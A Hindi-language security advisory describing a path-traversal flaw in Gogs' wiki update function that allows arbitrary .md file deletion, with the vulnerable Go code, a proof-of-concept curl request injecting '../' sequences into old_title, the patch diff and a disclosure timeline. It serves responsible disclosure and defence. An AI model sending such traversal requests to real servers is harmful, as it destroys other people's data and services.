
Gogs में विकी पथ ट्रैवर्सल के माध्यम से मनमानी फ़ाइल हटाने की क्षमता
गंभीरता: उच्च (CVSS 7.5)
प्रभावित सॉफ़्टवेयर: Gogs <= 0.13.3
पैच किया गया: 0.13.4, 0.14.0+dev
सलाह: GHSA-jp7c-wj6q-3qf2
पैच: gogs/gogs#8099
Gogs (Go में लिखी गई एक लोकप्रिय स्व-होस्टेड Git सेवा) की सुरक्षा ऑडिट के दौरान, मुझे updateWikiPage फ़ंक्शन में एक पथ ट्रैवर्सल भेद्यता मिली। यह प्रमाणित उपयोगकर्ता को विकी लेखन पहुँच के साथ, विकी संपादन प्रपत्र के old_title पैरामीटर में पथ ट्रैवर्सल अनुक्रम इंजेक्ट करके सर्वर पर मनमानी फ़ाइलों को हटाने की अनुमति देता है।
यह भेद्यता internal/database/wiki.go में असममित स्वच्छता दोष है। जब कोई विकी पृष्ठ अपडेट किया जाता है, तो फ़ंक्शन दो शीर्षक पैरामीटर को अलग-अलग तरीके से संभालता है:
| पैरामीटर | स्वच्छित? | प्रयुक्त |
|---|---|---|
title (नया नाम) | हाँ — ToWikiPageName() के माध्यम से | path.Join() फ़ाइल निर्माण के लिए |
oldTitle (पिछला नाम) | नहीं | path.Join() + os.Remove() |
// internal/database/wiki.go
// Line 105: New title IS sanitized
title = ToWikiPageName(title)
filename := path.Join(localPath, title+".md")
// Lines 113-115: Old title is NOT sanitized before os.Remove()
} else {
os.Remove(path.Join(localPath, oldTitle+".md")) // ← संवेदनशील
}
oldTitle मान बिना किसी पथ स्वच्छता के रूट हैंडलर के माध्यम से उपयोगकर्ता-नियंत्रित प्रपत्र इनपुट से सीधे os.Remove() में प्रवाहित होता है।
उपयोगकर्ता इनपुट (प्रपत्र) रूट हैंडलर डेटाबेस फ़ंक्शन
┌─────────────────┐ ┌─────────────────────┐ ┌──────────────────────────┐
│ f.OldTitle │───────>│ EditWikiPost() │─────────>│ updateWikiPage() │
│ (अस्वच्छित) │ │ wiki.go:246 │ │ │
└─────────────────┘ │ │ │ Line 114: │
│ कोई स्वच्छता नहीं!│ │ os.Remove(path.Join( │
│ │ │ localPath, │
└─────────────────────┘ │ oldTitle+".md")) │
└──────────────────────────┘
पूर्वापेक्षाएँ: किसी भी रिपॉजिटरी विकी पर लेखन पहुँच वाला प्रमाणित उपयोगकर्ता।
/repo/wiki/edit पर POST अनुरोध को इंटरसेप्ट करेंold_title प्रपत्र फ़ील्ड को पथ ट्रैवर्सल अनुक्रम (जैसे, ../../../../tmp/target_file) में संशोधित करें# Step 1: प्रमाणित करें और विकी पृष्ठ बनाएं/संपादित करें
# Step 2: POST अनुरोध को इंटरसेप्ट करें और old_title में ट्रैवर्सल इंजेक्ट करें
curl -X POST "https://gogs.example.com/user/repo/wiki/TestPage?action=_edit" \
-H "Cookie: i_like_gogs=<session_cookie>" \
-d "old_title=../../../../../../../tmp/target_file" \
-d "title=TestPage" \
-d "content=test" \
-d "message=test"
# परिणाम: /tmp/target_file.md सर्वर से हटा दिया गया है
.md एक्सटेंशन स्वचालित रूप से जुड़ जाता है। कोई भी फ़ाइल जो .md में समाप्त होती है और जिस पर Gogs प्रक्रिया के पास लिखने की अनुमति है, उसे हटाया जा सकता है।
| प्रभाव | विवरण |
|---|---|
| मनमाना फ़ाइल विलोपन | किसी भी .md फ़ाइल को हटाएं जिसे Gogs प्रक्रिया लिख सकती है |
| सेवा अस्वीकार | महत्वपूर्ण कॉन्फ़िगरेशन या डेटा फ़ाइलें हटाएं |
| डेटा हानि | अन्य उपयोगकर्ताओं के विकी पृष्ठ, दस्तावेज़ीकरण, या रिपॉजिटरी फ़ाइलें नष्ट करें |
| संभावित विस्तार | अन्य भेद्यताओं के साथ श्रृंखलित किया जा सकता है, जिससे और समझौता हो सकता है |
oldTitle पर वही ToWikiPageName स्वच्छता लागू करें जो पहले से title पर लागू है:
func (r *Repository) updateWikiPage(doer *User, oldTitle, title, content, message string, isNew bool) (err error) {
// ... मौजूदा कोड ...
title = ToWikiPageName(title)
+ // पथ ट्रैवर्सल को रोकने के लिए oldTitle को स्वच्छ करें
+ if oldTitle != "" {
+ oldTitle = ToWikiPageName(oldTitle)
+ }
filename := path.Join(localPath, title+".md")
// ...
}
मैंने प्रकटीकरण के दौरान यह फिक्स प्रस्तावित किया और Gogs अनुरक्षकों ने इसे PR #8099 में लागू किया।
| तिथि | घटना |
|---|---|
| 2025-12-13 | सुरक्षा ऑडिट के दौरान भेद्यता की खोज |
| 2025-12-13 | GitHub Security Advisory (GHSA-jp7c-wj6q-3qf2) के माध्यम से सलाह प्रस्तुत |
| 2026-01-20 | Gogs अनुरक्षकों के साथ फ़ॉलो-अप |
| 2026-01-20 | अनुरक्षक ने भेद्यता स्वीकार की |
| 2026-01-22 | पैच मर्ज किया गया (#8099) |
| 2026-01-22 | CVE-2026-24135 GitHub द्वारा असाइन किया गया |
| 2026-02-06 | सार्वजनिक प्रकटीकरण |